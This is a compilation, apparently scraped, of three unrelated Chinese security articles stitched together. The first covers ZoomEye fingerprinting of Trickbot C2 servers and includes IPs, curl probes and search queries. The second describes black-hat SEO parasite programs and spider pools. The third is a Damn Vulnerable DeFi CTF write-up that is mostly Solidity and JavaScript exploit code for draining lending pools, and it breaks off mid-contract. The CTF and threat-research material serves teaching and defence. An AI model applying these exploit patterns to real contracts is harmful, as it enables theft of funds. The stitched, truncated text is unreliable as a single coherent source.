「行为是人类或动物在生活中表现出来的生活态度及具体的生活方式，它是在一定的条件下，不同的个人、动物或群体，表现出来的基本特征，或对内外环境因素刺激所做出的能动反应。」（百度百科）
不同的群体，可能表现出基本的独有的特征，当我们能掌握到这个特征，那么我们就能尽可能识别出这个群体里的所有个体，而这些所谓的行为特征在网络空间测绘里表现出的是这个设备各个端口协议里的banner特征，目前在网络空间测绘里常用的通用组件指纹识别形成的指纹库就是利用了通用组件通用的默认配置特征这个“行为”来进行识别的，很显然这个充分利用了人类“懒惰“的这个性格引起的通用默认配置的”行为“进行测绘的，但是也就忽视那些进行自定义的配置的目标，而这些目标是本文要阐述的主要对象。
在这些自定义过程中不同的群体又可能表现出不一样的独有特征，我们利用这些行为特征进行网络空间测绘，这就是所谓的“ **行为测绘**
”了。通过实践经验“行为测绘”在威胁情报领域、国家基础设施测绘、APT/botnet/黑产等组织测绘上有巨大应用空间及震撼的效果。
## 以道御器之斩首行动
「斩首行动是一个军事术语，指用巡航导弹和精确制导导弹对敌方进行军事打击，通过精准打击，首先消灭对方的首脑和首脑机关，彻底摧毁对方的抵抗意志。」（百度百科）
我们经常在影视作品中可以看到一些场景，比如营救人质或夜袭敌方粮草，甚有直取敌方主帅大营等，所有这些行动是建立在目标判断明确的基础上。一个朴素的防御思想告诉我们核心敏感的地方往往会优先部署相对强大的防御工事，也就是说防御工事越多越强大的地方很可能就是相对比较核心敏感的设施，比如人质关押的地方、主帅大营等地方往往相对多的巡查士兵，巡查频率也相对较高，由此可以判断哪些地方是“斩首行动”的目标地点。
回归到网络空间用上面提到的“道”来指导我们去做一些探索，在网络空间里我们可以通过寻找某些安全设备的分布来确定目标可能的防御重点分布。
## 准与不准
在军事上很多时候我们也会用到伪装手法来躲避侦查，比如迷彩的运用等，在网络空间里也一样存在各种网络安全设备来干扰探测影响探测结果，比如蜜罐、防火强等设备，从而欺骗误导网络空间探测引擎规则，如果使用者过度的依赖这些探测规则就很容易被误导而忽视这些目标，当然我也曾留意到某些做测绘的同行写文章批判吐槽过这些不准的情况，实际上他们忽视了这个“不准”也是一种“异常行为”，俗话说：“反常必妖”，而这个很可能就是别人苦苦追寻的目标！
所以“准与不准”应该是平台实事求是并尽可能全的展示探测器探测到的banner（元数据）并展示，而不是局限于探测的规则二次加工后的表象来简单评判，这点认知我认为对于相关平台设计上及数据转变为知识等方面上有至关重要的作用。
曾经有一次发现ZoomEye上某些IP端口的banner被显示为一个固定的拦截信息，通过Google搜索确定发现这是某国际上著名的安全厂商生产的某安全设备导致的，也正是因为这个设备的原因成功欺骗了ZoomEye的服务识别规则而导致识别结果出现偏差。随即针对这个拦截信息的数据分布进行分析发现在多个国家或地区有分布，这个也说明了这个国际大厂的市场地位是无容置疑的，在分布最多的国家地区里再结合ZoomEye独有的行业标注库的标注，发现这些目标集中分布在某核心基础设施行业里，进一步通过网络拓扑分析最终都指向了的同一个设备地址。
（注：该设备的搜索指纹在各大网络空间搜索引擎里的数据分布）
## 以道御器之僵尸网络测绘及APT测绘
通过之前我发布一些文章可以看出基于网络空间搜索引擎ZoomEye这种主动探测模式在僵尸网络组织及APT组织追踪上有着非常重要的应用，而这里主要是说明“行为测绘”这个思想在僵尸网络组织、APT组织追踪及威胁情报领域的应用实战。
下面我用Trickbot这个作为例子进行说明，在前段时间在推特上看到某开源情报例举了几个关于Trickbot
C2的地址：<https://twitter.com/TheDFIRReport/status/1427604874053578756>
通过curl访问发现185.56.76.94:443访问不到，而24.162.214.166:443及60.51.47.65:443
访问到的banner及证书基本一致：
~ ? curl -i https://24.162.214.166 -k HTTP/1.1 403 ForbiddenServer: nginx/1.14.2Date: Tue, 17 Aug 2021 14:07:25 GMTContent-Length: 9Connection: keep-alive
Forbidden%
~ ? curl -i https://60.51.47.65 -k HTTP/1.1 403 ForbiddenServer: nginx/1.14.0 (Ubuntu)Date: Tue, 17 Aug 2021 14:08:03 GMTContent-Length: 9Connection: keep-alive
Forbidden%
证书内容部分关键内容为：
subject: C=AU; ST=Some-State; O=Internet Widgits Pty Ltdissuer: C=AU; ST=Some-State; O=Internet Widgits Pty Ltd
所以这些都是很典型的“群体行为”，结合https的返回banner及证书内容进行行为特征匹配搜索：
"HTTP/1.1 403 Forbidden" +"Server: nginx" +"Content-Length: 9" +"Connection: close" +"Issuer: C=AU,ST=Some-State,O=Internet Widgits Pty Ltd"
https://www.zoomeye.org/searchResult?q=%22HTTP%2F1.1%20403%20Forbidden%22%20%2B%22Server%3A%20nginx%22%20%2B%22Content-Length%3A%209%22%20%2B%22Connection%3A%20close%22%20%2B%22Issuer%3A%20C%3DAU%2CST%3DSome-State%2CO%3DInternet%20Widgits%20Pty%20Ltd%22
当时找到172条数据（注意这里没有指定时间范围），这些数据通过多个威胁情报平台进行了查询匹配，最终我们用virustotal的数据进行匹配发现126条被标记过恶意，
**命中率为：126/172=73%**
。另外针对没有被virustotal标记的进行了手工匹配包括微步在线、奇安信、推特及我司(知道创宇)的一些情报库进行分析可以看出曾经或者C段曾经被标注过恶意，可能考虑到威胁情报的实效性的问题而被加白，还包括一些最新的目标IP这些平台样本覆盖问题而没有被标注可能，当然尤其是在APT领域还可能存在“假旗行动”，不过我这篇文章发出去后，可能不会出现这种所谓的“假旗行动”，因为假旗本身就是一种行为，而且是已知的恶意行为！
到这里可以说明通过我们对这个Trickbot样本进行行为特征提取，再通过ZoomEye测绘得到的结果是行之有效的，另外我们也留意到各个威胁情报平台在标签里对Trickbot标签非常少（基本少于5个），更多的标记为其他组织或者恶意扫描、垃圾邮件等标签。这里很多原因是由于目前威胁情报平台对组织分类取决于恶意样本分析提炼，对网络行为的更多只能依靠恶意扫描垃圾邮件这种行为进行描述，所以可能出现很多归类不清楚的，甚至很可能多个被标注的不同组织的实际上最后有同一个源头。
所以基于网络空间“行为测绘”对僵尸网络甚至APT组织使用的服务器的各种特征可以弥补传统纯粹依赖恶意样本东西覆盖不全及归类不准等方面的不足。
## “动态测绘”下的“行为测绘”
在2020年我提出了“ **动态测绘才是真测绘！**
”的观点[4],在我看来动态测绘是?种视角，更是一种思维模式或理念，可以从动态变化上进行更多角度或者维度的思考，“动态测绘”强调“时空测绘”，关注资产的动态变化。如果说前文提到的“行为测绘”可以一次“一网打尽”，那么结合“动态测绘”可以实现持续的稳定检测，如果这些群体组织在后续的采用新的IP域名就可以直接被我们监控捕获。实际上我们已经把这些都做成了完整的解决方案：
_ZoomEye线上用户方案_ ：
实际上根据“动态测绘”理念在ZoomEye线上我们实现“数据订阅”功能，线上的用户可以利用这个功能直接订阅实现，数据结果会通过邮件及站内消息提醒，但是这个有个缺点是：依赖ZoomEye本身节点的探测频率及端口协议覆盖，这个完全取决于ZoomEye探测集群的随机算法，当然我们对于单个IP或者IP段我们目前是支持主动触发探测的。
_ZoomEye雷达用户方案：_
ZoomEye雷达是ZoomEye私有化硬件部署方案，可以更加灵活的调配支持端口协议覆盖及随时主动探测IP集，可以更加灵活根据目标群体行为特征进行主动实时探测。
_NDR流量监控系统联动方案：_
>
> 「知道创宇NDR流量监测系统是一款通过对网络全流量深度分析的软硬件一体化产品，其最大支持10GBPS的实时流量,在网络抓包和流量处理方面都取得了突破性地性能改进，通过APT威胁告警和全流量溯源取证实现APT攻击检测和响应。」
>
>
> 知道创宇，公众号：知道创宇[NDR流量监测系统，积极应对的APT攻击防御利器](https://mp.weixin.qq.com/s/EoPgIRcrYp99I5qn-> sO3SQ)
我们可以通过NDR流量监控系统捕获到已知或未知的APT相关恶意样本，整理梳理相关组织使用服务器设备相关“行为”特征，通过ZoomEye相关产品一网打尽并结合上面提到的“动态测绘”方案，实时监控扩充最新上线的IP域名，最后再次回归到NDR流量监控系统实现对相关APT攻击的流量进行监控。
## 总结
“你见或者不见，他就在哪里！”
，看见取决于格局、取决于道行，所谓“以道御器”就需要我们“看见还没有看见的，看清我们已经看见的”，知道创宇一直立志于“侠之大者，为国为民”，只有足够高的视角及格局，才能看得见前进的方向，利用好技术积累的优势做更多的实事！
## 参考
[1] 领先一代的技术或早已出现
<https://mp.weixin.qq.com/s/2fAgi_d9QhGXKyMAcqUM-w>
[2] 谈谈网络空间测绘在国家级断电断网事件上的应用
<https://mp.weixin.qq.com/s/VHOoWg8r8VPSUiMfVkcy-w>
[3] 趣访“漏洞之王”黑哥，探寻知道创宇十年网络资产测绘之路
<https://mp.weixin.qq.com/s/dvFAVH17AnDS_r0kOG620A>
[4] 再谈“动态测绘”
<https://zhuanlan.zhihu.com/p/183952077>
[5] NDR流量监测系统，积极应对的APT攻击防御利器
<https://mp.weixin.qq.com/s/EoPgIRcrYp99I5qn-sO3SQ>
[6] 再谈 ZoomEye：打造世界领先网络空间测绘能力
<https://mp.weixin.qq.com/s/A3-DdTQJI02gcsyCe20NAA>
[7] ZoomEye * 真测绘，全球赛博空间测绘领导者
<https://www.zoomeye.org/>
* * * | 社区文章 |
此系统文章总共分为四篇，分别是手法篇、工具篇、隐藏篇、总结篇；本篇为工具篇，主要介绍黑帽seo中经常使用到的一些工具，及其用途。
搞黑帽SEO往往都是批量操作，因此自动化工具不可或缺，也是整个黑产环中比较重要的一环。本篇将会介绍几款黑帽seo中常用的工具，由于本篇写于一年前，因此部分工具可能已淘汰或者升级。
### 寄生虫（jsc)
植入寄生虫是黑帽SEO常用的一种方法，通过侵入别人网站，植入寄生虫程序，自动生成各种非法页面。之所以叫做寄生虫是因为能够自己触发生成，而不是一次生成，例如在访问网页的时候触发，自动生成页面且形成链轮等。简单来说，寄生虫是一种程序，此程序的功能是能够自己创建网页文件，而创建的条件可以定制，比如说当有人访问某个页面时就会触发寄生虫程序生成一批新的网页文件，或者每天定时创建等等。
我曾经在给一个客户处理应急响应事件时，便遇到过此类状况。每当我清理完所有恶意网页文件后，服务器上都会不时地自动生成一大批新的网页文件。令人头疼的是，当时我完全掌握不了生成新文件的规律。后来我们在一一排除web服务器上的文件时，发现了其中一个恶意的动态语言文件（由于种种原因，样本没有保留下来），此恶意文件就是类似寄生虫程序，会在我们访问此网站的某个页面触发，生成一批新的恶意页面。
#### 寄生虫分类
寄生虫分为动态与静态，动态寄生虫程序的就是会不断自动生成新的页面（如我上面所述案例），或者是刷新页面以后自动变化内容，动态寄生虫生成的恶意文件往往是asp/php后缀文件；而静态寄生虫程序生成的页面往往都是固定不变的内容，大多为html后缀文件。
#### 寄生虫模板
寄生虫程序生成的页面往往都是有固定模板的，模板的好坏有时也决定了是否能够被搜索引擎快速收录，以下是我收集的两种寄生虫程序生成的模板页面。
寄生虫模板案例一：
寄生虫模板案例二：
#### 静态寄生虫挂二级目录案例
案例来自去年处理的一起入侵检测事件，我们发现目标网站上被挂了非法推广页面，如下图所示：
通过登录web服务器查看，我们发现了网站根目录下多了一个二级目录ds，而ds目录内放满了html文件，都是通过寄生虫生成的。（由于时间久远，html样本文件已丢失）
通过登录服务器日志分析，我们最终发现黑客是通过web应用程序漏洞获取到了服务器权限，并在该服务器上利用静态寄生虫程序创建了大量恶意的html后缀文件，并存放在ds目录下，其利用的便是高权重网站二级目录手法。
以上占用大量篇幅介绍了很多黑帽seo的手法，也介绍了寄生虫程序这一自动生成网页文件的利器。那么黑帽seo是如何让这些非法页面快速被搜索引擎收录的呢？我们知道如果这些恶意推广的页面无法被搜索引擎收录，那么黑帽SEO就达不到预期的效果。起初在研究黑帽seo时我也一直在思考这个问题，按常理搜索引擎不应该会收录具有恶意内容的推广页面，而事实是目前我们随便在百度上搜
_site:.gov.cn 博彩_ 或者 _site:.edu.cn 色情_
，就会出现一大批被挂上博彩色情的政府教育机构网站。显然这些页面目前还是能够很好地被搜索引擎收录，甚至能很快被收录，我曾经发现过几分钟内被收录的恶意页面。那么是搜索引擎故意为之，还是有人利用了搜索引擎的某些特征或者说漏洞？要理解这个问题，我想必须得介绍一下黑帽SEO又一大利器
---蜘蛛池。
### 蜘蛛池
蜘蛛池是一种通过利用大型平台权重来获得搜索引擎收录以及排名的一种程序。原理可以理解为事先创建了一些站群，获取（豢养）了大量搜索引擎蜘蛛。当想要推广一个新的站点时，只需要将该站点以外链的形式添加到站群中，就能吸引蜘蛛爬取收录。简单来说就是通过购买大量域名，租用大量服务器，批量搭建网站形成站群。而这些网站彼此之间形成链轮，网站内容大多为超链接，或者一些动态的新闻内容等。经过一段时间的运营，此站群每天就能吸引一定量的搜索引擎蜘蛛，蜘蛛的多少要看网站内容搭建的好坏以及域名的个数。当蜘蛛数量达到一个量级且稳定以后，就可以往里面添加想要推广的网页，比如通过黑帽SEO手段创建的非法页面。这一过程就好比在一个高权重网站上添加友情链接，会达到快速收录的目的。
#### 蜘蛛池交易平台
我随便百度了一下，发现互联网上存在很多蜘蛛池交易平台，即可通过互联网上的蜘蛛池推广恶意网页。这种方式省去了自己搭建蜘蛛池的麻烦，却也为黑帽seo人员提供了便利。在收集资料时，我挑选了其中一个交易平台，截图如下：
#### 蜘蛛池站点案例
在为本篇文章收集黑帽SEO相关资料时，我发现了一款经典的蜘蛛池站点，在此分享。
其特点是内容动态生成，刷新页面发现内容随机改变
很明显此网站内容都是通过动态寄生虫程序生成的，且不断变化内容来增加百度对其收录。（百度目前对原创内容的收录率比较高）
#### 几大搜索引擎收录情况
百度搜索引擎收录情况：
谷歌搜索引擎收录情况：
bing搜索引擎收录情况：
搜狗搜索引擎收录情况：
通过对比几大常用搜索引擎对此蜘蛛池站点的收录情况，我们不难看出这套蜘蛛池程序目前只对百度搜索引擎爬虫有效。当然78条的收录量对于一个蜘蛛池站点来说不算很高，说明百度对此手段已有所防范。
### 传送门
[黑帽SEO剖析之总结篇](https://thief.one/2017/09/28/4/)
[黑帽SEO剖析之隐身篇](https://thief.one/2017/09/28/3/)
[黑帽SEO剖析之工具篇](https://thief.one/2017/09/28/2/)
[黑帽SEO剖析之手法篇](https://thief.one/2017/09/28/1/) | 社区文章 |
# Damn Vulnerable DeFi 题解
|
##### 译文声明
本文是翻译文章
译文仅供参考，具体内容表达以及含义原文为准。
## 前言
[OpenZeppelin](https://openzeppelin.com/) 设计的关于 DeFi
的八道题目，做起来挺有意思的，特定分享一下解题过程，挑战地址：<https://www.damnvulnerabledefi.xyz/>
### DeFi
DeFi 是 decentralized finance 的缩写，所谓去中心化金融，是指旨在破坏金融中间机构的各种加密货币或区块链金融应用的总称。
## 解题流程
1. 克隆[仓库](https://github.com/OpenZeppelin/damn-vulnerable-defi/tree/v1.0.0)
2. 使用 `npm install` 安装依赖
3. 在 test 文件夹里，每个不同的题目文件夹里有着对应的 `*.challenge.js`，我们需要完成里面留空的代码
4. 运行 `npm run challenge-name` 测试我们构造的 exploit 能否成功利用
## Unstoppable
> There’s a lending pool with a million DVT tokens in balance, offering flash
> loans for free.
>
> If only there was a way to attack and stop the pool from offering flash
> loans …
>
> You start with 100 DVT tokens in balance.
第一道属于签到难度，主要让玩家熟悉如何完成操作。下面来看提供借贷功能的合约：
contract UnstoppableLender is ReentrancyGuard {
using SafeMath for uint256;
IERC20 public damnValuableToken;
uint256 public poolBalance;
constructor(address tokenAddress) public {
require(tokenAddress != address(0), "Token address cannot be zero");
damnValuableToken = IERC20(tokenAddress);
}
function depositTokens(uint256 amount) external nonReentrant {
require(amount > 0, "Must deposit at least one token");
// Transfer token from sender. Sender must have first approved them.
damnValuableToken.transferFrom(msg.sender, address(this), amount);
poolBalance = poolBalance.add(amount);
}
function flashLoan(uint256 borrowAmount) external nonReentrant {
require(borrowAmount > 0, "Must borrow at least one token");
uint256 balanceBefore = damnValuableToken.balanceOf(address(this));
require(balanceBefore >= borrowAmount, "Not enough tokens in pool");
// Ensured by the protocol via the `depositTokens` function
assert(poolBalance == balanceBefore);
damnValuableToken.transfer(msg.sender, borrowAmount);
IReceiver(msg.sender).receiveTokens(address(damnValuableToken), borrowAmount);
uint256 balanceAfter = damnValuableToken.balanceOf(address(this));
require(balanceAfter >= balanceBefore, "Flash loan hasn't been paid back");
}
}
可以看到条件 `assert(poolBalance == balanceBefore);` 设计的非常奇怪，特别是 `poolBalance` 只会在
`depositTokens()` 被调用的时候增加，这意味着如果通过 ERC20 标准的 transfer 将 token 转移到 pool
上时，`balanceBefore` 会增加，因为余额增加了，但 `poolBalance` 不会增加， `poolBalance <
balanceBefore`，后续的 `flashLoan()` 调用会一直失败。
打开 `test/unstoppable/unstoppable.challenge.js`，在 `it('Exploit'` 处增加以下代码，将我们拥有的
token 全部转给 pool：
it('Exploit', async function () {
await this.token.transfer(this.pool.address, INITIAL_ATTACKER_BALANCE, { from: attacker} );
});
运行 `npm run unstoppable`，成功通过本题：
## Naive receiver
> There’s a lending pool offering quite expensive flash loans of Ether, which
> has 1000 ETH in balance.
>
> You also see that a user has deployed a contract with 10 ETH in balance,
> capable of interacting with the lending pool and receiveing flash loans of
> ETH.
>
> Drain all ETH funds from the user’s contract. Doing it in a single
> transaction is a big plus 😉
本题要求我们清空用户合约中的全部余额，阅读 `NaiveReceiverLenderPool` 的源代码：
contract NaiveReceiverLenderPool is ReentrancyGuard {
using SafeMath for uint256;
using Address for address;
uint256 private constant FIXED_FEE = 1 ether; // not the cheapest flash loan
function fixedFee() external pure returns (uint256) {
return FIXED_FEE;
}
function flashLoan(address payable borrower, uint256 borrowAmount) external nonReentrant {
uint256 balanceBefore = address(this).balance;
require(balanceBefore >= borrowAmount, "Not enough ETH in pool");
require(address(borrower).isContract(), "Borrower must be a deployed contract");
// Transfer ETH and handle control to receiver
(bool success, ) = borrower.call{value: borrowAmount}(
abi.encodeWithSignature(
"receiveEther(uint256)",
FIXED_FEE
)
);
require(success, "External call failed");
require(
address(this).balance >= balanceBefore.add(FIXED_FEE),
"Flash loan hasn't been paid back"
);
}
// Allow deposits of ETH
receive () external payable {}
}
很明显调用一次 `flashLoan()` 就可以让合约账户减少 1 ETH，那么持续调用即可顺利清空合约：
it('Exploit', async function () {
while(await balance.current(this.receiver.address) > 0) {
await this.pool.flashLoan(this.receiver.address, 0);
}
});
不过单次交易的方法需要更长的时间，更简单的方法是直接写一个攻击的合约并调用：
pragma solidity ^0.6.0;
contract AttackReceiver {
function attack(address payable pool, address payable receiver) public {
while(receiver.balance > 0) {
(bool success, ) = pool.call(
abi.encodeWithSignature(
"flashLoan(address,uint256)",
receiver,
0
)
);
require(success, "External call failed");
}
}
}
const AttackReceiver = contract.fromArtifact('AttackReceiver');
it('Exploit', async function () {
const attack = await AttackReceiver.new();
await attack.attack(this.pool.address, this.receiver.address, { from: attacker });
}
## Truster
> More and more lending pools are offering flash loans. In this case, a new
> pool has launched that is offering flash loans of DVT tokens for free.
>
> Currently the pool has 1 million DVT tokens in balance. And you have
> nothing.
>
> But don’t worry, you might be able to steal them all from the pool.
本题要求获得贷款池中的全部余额，合约本身很简单：
pragma solidity ^0.6.0;
import "@openzeppelin/contracts/token/ERC20/IERC20.sol";
import "@openzeppelin/contracts/utils/ReentrancyGuard.sol";
contract TrusterLenderPool is ReentrancyGuard {
IERC20 public damnValuableToken;
constructor (address tokenAddress) public {
damnValuableToken = IERC20(tokenAddress);
}
function flashLoan(
uint256 borrowAmount,
address borrower,
address target,
bytes calldata data
)
external
nonReentrant
{
uint256 balanceBefore = damnValuableToken.balanceOf(address(this));
require(balanceBefore >= borrowAmount, "Not enough tokens in pool");
damnValuableToken.transfer(borrower, borrowAmount);
(bool success, ) = target.call(data);
require(success, "External call failed");
uint256 balanceAfter = damnValuableToken.balanceOf(address(this));
require(balanceAfter >= balanceBefore, "Flash loan hasn't been paid back");
}
}
可以看到合约使用了 call 来实现任意交易的调用，但这也意味着极大的安全隐患，我们可以让合约执行任意的操作，比如调用 `approve()`
函数，允许我们从合约账户上进行转账，这里不直接调用 `tranfser()` 函数的原因是调用完成后不能满足 `balanceAfter >=
balanceBefore` 的要求。
解决的思路也非常直接，利用 abi 编码 data 后，像贷款池调用 `flashLoan()` 租借 0 元，然后等待合约执行完成 `approve()`
函数，然后直接从 token 处取走相应的金额：
it('Exploit', async function () {
const data = web3.eth.abi.encodeFunctionCall({
name: 'approve',
type: 'function',
inputs: [{
type: 'address',
name: 'spender'
},{
type: 'uint256',
name: 'amount'
}]
}, [attacker, TOKENS_IN_POOL.toString()]);
await this.pool.flashLoan(0, attacker, this.token.address, data);
await this.token.transferFrom(this.pool.address, attacker, TOKENS_IN_POOL, { from: attacker });
});
## Side entrance
> A surprisingly simple lending pool allows anyone to deposit ETH, and
> withdraw it at any point in time.
>
> This very simple lending pool has 1000 ETH in balance already, and is
> offering free flash loans using the deposited ETH to promote their system.
>
> You must steal all ETH from the lending pool.
本题考点同样是从贷款池中提走全部的 token，但不同于上题的直接提供 `call` 进行调用，本题限定了只能调用 receiver 的
`execute()` 函数：
interface IFlashLoanEtherReceiver {
function execute() external payable;
}
contract SideEntranceLenderPool {
using Address for address payable;
mapping (address => uint256) private balances;
function deposit() external payable {
balances[msg.sender] += msg.value;
}
function withdraw() external {
uint256 amountToWithdraw = balances[msg.sender];
balances[msg.sender] = 0;
msg.sender.sendValue(amountToWithdraw);
}
function flashLoan(uint256 amount) external {
uint256 balanceBefore = address(this).balance;
require(balanceBefore >= amount, "Not enough ETH in balance");
IFlashLoanEtherReceiver(msg.sender).execute{value: amount}();
require(address(this).balance >= balanceBefore, "Flash loan hasn't been paid back");
}
}
但仔细审计源代码之后发现本题的漏洞也非常明显，如果从贷款池中借出一定量的 ETH 并通过 `deposit()` 函数将这部分 ETH 存入，那么在满足
`address(this).balance >= balanceBefore` 的同时，`balances[msg.sender]`
也会增加。然后我们再通过 `withdraw()` 函数取出，即可顺利提空贷款池中的内部金额。根据逻辑构造攻击合约：
interface IFlashLoanEtherReceiver {
function execute() external payable;
}
interface ISideEntranceLenderPool {
function deposit() external payable;
function withdraw() external;
function flashLoan(uint256 amount) external;
}
contract AttackSideEntrance is IFlashLoanEtherReceiver {
using Address for address payable;
ISideEntranceLenderPool pool;
function attack(ISideEntranceLenderPool _pool) public {
pool = _pool;
pool.flashLoan(address(_pool).balance);
pool.withdraw();
msg.sender.sendValue(address(this).balance);
}
function execute() external payable override {
pool.deposit{value:msg.value}();
}
receive() external payable{}
}
const AttackSideEntrance = contract.fromArtifact('AttackSideEntrance');
// ...
it('Exploit', async function () {
const attack = await AttackSideEntrance.new();
await attack.attack(this.pool.address, { from: attacker });
});
## The rewarder
> There’s a pool offering rewards in tokens every 5 days for those who deposit
> their DVT tokens into it.
>
> Alice, Bob, Charlie and David have already deposited some DVT tokens, and
> have won their rewards!
>
> You don’t have any DVT tokens. Luckily, these are really popular nowadays,
> so there’s another pool offering them in free flash loans.
>
> In the upcoming round, you must claim all rewards for yourself.
本题要求我们获得全部奖励的 token 并且让其他人不能获得收益。阅读合约代码，发现该合约会每隔五天根据用户 token
的余额快照来发放奖励，奖励的额度跟池中全部的 token 数目和用户存入的 token 数目有关：
contract TheRewarderPool {
// Minimum duration of each round of rewards in seconds
uint256 private constant REWARDS_ROUND_MIN_DURATION = 5 days;
uint256 public lastSnapshotIdForRewards;
uint256 public lastRecordedSnapshotTimestamp;
mapping(address => uint256) public lastRewardTimestamps;
// Token deposited into the pool by users
DamnValuableToken public liquidityToken;
// Token used for internal accounting and snapshots
// Pegged 1:1 with the liquidity token
AccountingToken public accToken;
// Token in which rewards are issued
RewardToken public rewardToken;
// Track number of rounds
uint256 public roundNumber;
constructor(address tokenAddress) public {
// Assuming all three tokens have 18 decimals
liquidityToken = DamnValuableToken(tokenAddress);
accToken = new AccountingToken();
rewardToken = new RewardToken();
_recordSnapshot();
}
/**
* @notice sender must have approved `amountToDeposit` liquidity tokens in advance
*/
function deposit(uint256 amountToDeposit) external {
require(amountToDeposit > 0, "Must deposit tokens");
accToken.mint(msg.sender, amountToDeposit);
distributeRewards();
require(
liquidityToken.transferFrom(msg.sender, address(this), amountToDeposit)
);
}
function withdraw(uint256 amountToWithdraw) external {
accToken.burn(msg.sender, amountToWithdraw);
require(liquidityToken.transfer(msg.sender, amountToWithdraw));
}
function distributeRewards() public returns (uint256) {
uint256 rewardInWei = 0;
if(isNewRewardsRound()) {
_recordSnapshot();
}
uint256 totalDeposits = accToken.totalSupplyAt(lastSnapshotIdForRewards);
uint256 amountDeposited = accToken.balanceOfAt(msg.sender, lastSnapshotIdForRewards);
if (totalDeposits > 0) {
uint256 reward = (amountDeposited * 100) / totalDeposits;
if(reward > 0 && !_hasRetrievedReward(msg.sender)) {
rewardInWei = reward * 10 ** 18;
rewardToken.mint(msg.sender, rewardInWei);
lastRewardTimestamps[msg.sender] = block.timestamp;
}
}
return rewardInWei;
}
function _recordSnapshot() private {
lastSnapshotIdForRewards = accToken.snapshot();
lastRecordedSnapshotTimestamp = block.timestamp;
roundNumber++;
}
function _hasRetrievedReward(address account) private view returns (bool) {
return (
lastRewardTimestamps[account] >= lastRecordedSnapshotTimestamp &&
lastRewardTimestamps[account] <= lastRecordedSnapshotTimestamp + REWARDS_ROUND_MIN_DURATION
);
}
function isNewRewardsRound() public view returns (bool) {
return block.timestamp >= lastRecordedSnapshotTimestamp + REWARDS_ROUND_MIN_DURATION;
}
}
但这种奖励在设计上是存在一定问题的，因为它依赖的是某个时间节点的信息，而非连续性的节点，这意味着如果我们能在某个时间节点进行操作，完全可以影响奖励的发放。考虑到
`FlashLoanerPool` 提供的贷款功能，如果我们在某个时间节点借走了池中全部的 token 并通过 `deposit()` 函数放入
`TheRewarderPool`，主动触发 `distributeRewards()` 获得奖励，由于池中拥有的 1000000 ether
远远大于其他人存入的 100 ether，所以根据计算公式 `reward = (amountDeposited * 100) /
totalDeposits`，最后其他人的收益会变成 0。
根据思路，编写部署合约并测试：
pragma solidity ^0.6.0;
import "@openzeppelin/contracts/token/ERC20/ERC20.sol";
import "@openzeppelin/contracts/access/AccessControl.sol";
import "../DamnValuableToken.sol";
interface IFlashLoanerPool {
function flashLoan(uint256 amount) external;
}
interface ITheRewarderPool {
function deposit(uint256 amountToDeposit) external;
function withdraw(uint256 amountToWithdraw) external;
function distributeRewards() external returns (uint256);
function isNewRewardsRound() external view returns (bool);
}
/**
* @notice A mintable ERC20 token to issue rewards
*/
contract RewardToken is ERC20, AccessControl {
bytes32 public constant MINTER_ROLE = keccak256("MINTER_ROLE");
constructor() public ERC20("Reward Token", "RWT") {
_setupRole(DEFAULT_ADMIN_ROLE, msg.sender);
_setupRole(MINTER_ROLE, msg.sender);
}
function mint(address to, uint256 amount) external {
require(hasRole(MINTER_ROLE, msg.sender));
_mint(to, amount);
}
}
contract AttackReward {
DamnValuableToken public liquidityToken;
RewardToken public rewardToken;
IFlashLoanerPool public flashLoanerPool;
ITheRewarderPool public theRewarderPool;
constructor(address liquidityTokenAddress, address rewardTokenAddress, IFlashLoanerPool _flashLoanerPool, ITheRewarderPool _theRewarderPool) public {
liquidityToken = DamnValuableToken(liquidityTokenAddress);
rewardToken = RewardToken(rewardTokenAddress);
flashLoanerPool = _flashLoanerPool;
theRewarderPool = _theRewarderPool;
}
function attack(uint256 amount) public {
flashLoanerPool.flashLoan(amount);
rewardToken.transfer(msg.sender, rewardToken.balanceOf(address(this)));
}
function receiveFlashLoan(uint256 amount) public {
liquidityToken.approve(address(theRewarderPool), amount);
theRewarderPool.deposit(amount);
theRewarderPool.withdraw(amount);
liquidityToken.transfer(address(flashLoanerPool), amount);
}
}
it('Exploit', async function () {
await time.increase(time.duration.days(5));
const attack = await AttackReward.new(this.liquidityToken.address, this.rewardToken.address, this.flashLoanPool.address, this.rewarderPool.address, { from: attacker});
await attack.attack(TOKENS_IN_LENDER_POOL, { from: attacker });
});
## Selfie
> A new cool lending pool has launched! It’s now offering flash loans of DVT
> tokens.
>
> Wow, and it even includes a really fancy governance mechanism to control it.
>
> What could go wrong, right ?
>
> You start with no DVT tokens in balance, and the pool has 1.5 million. Your
> objective: steal them all.
同样的清空贷款池挑战，直接阅读源代码：
contract SelfiePool is ReentrancyGuard {
using Address for address payable;
ERC20Snapshot public token;
SimpleGovernance public governance;
event FundsDrained(address indexed receiver, uint256 amount);
modifier onlyGovernance() {
require(msg.sender == address(governance), "Only governance can execute this action");
_;
}
constructor(address tokenAddress, address governanceAddress) public {
token = ERC20Snapshot(tokenAddress);
governance = SimpleGovernance(governanceAddress);
}
function flashLoan(uint256 borrowAmount) external nonReentrant {
uint256 balanceBefore = token.balanceOf(address(this));
require(balanceBefore >= borrowAmount, "Not enough tokens in pool");
token.transfer(msg.sender, borrowAmount);
require(msg.sender.isContract(), "Sender must be a deployed contract");
(bool success,) = msg.sender.call(
abi.encodeWithSignature(
"receiveTokens(address,uint256)",
address(token),
borrowAmount
)
);
require(success, "External call failed");
uint256 balanceAfter = token.balanceOf(address(this));
require(balanceAfter >= balanceBefore, "Flash loan hasn't been paid back");
}
function drainAllFunds(address receiver) external onlyGovernance {
uint256 amount = token.balanceOf(address(this));
token.transfer(receiver, amount);
emit FundsDrained(receiver, amount);
}
}
可以看到有一个函数很有意思，`drainAllFunds()` 会将全部的余额转给 receiver，但修饰符 `onlyGovernance`
限定了调用者，继续阅读相应的 `SimpleGovernance` 合约，可以发现 `SimpleGovernance` 合约的
`executeAction()` 预留了 call 函数来进行任意调用：
contract SimpleGovernance {
// 省略
function executeAction(uint256 actionId) external payable {
require(_canBeExecuted(actionId), "Cannot execute this action");
GovernanceAction storage actionToExecute = actions[actionId];
actionToExecute.executedAt = block.timestamp;
(bool success,) = actionToExecute.receiver.call{
value: actionToExecute.weiAmount
}(actionToExecute.data);
require(success, "Action failed");
emit ActionExecuted(actionId, msg.sender);
}
function getActionDelay() public view returns (uint256) {
return ACTION_DELAY_IN_SECONDS;
}
/**
* @dev an action can only be executed if:
* 1) it's never been executed before and
* 2) enough time has passed since it was first proposed
*/
function _canBeExecuted(uint256 actionId) private view returns (bool) {
GovernanceAction memory actionToExecute = actions[actionId];
return (
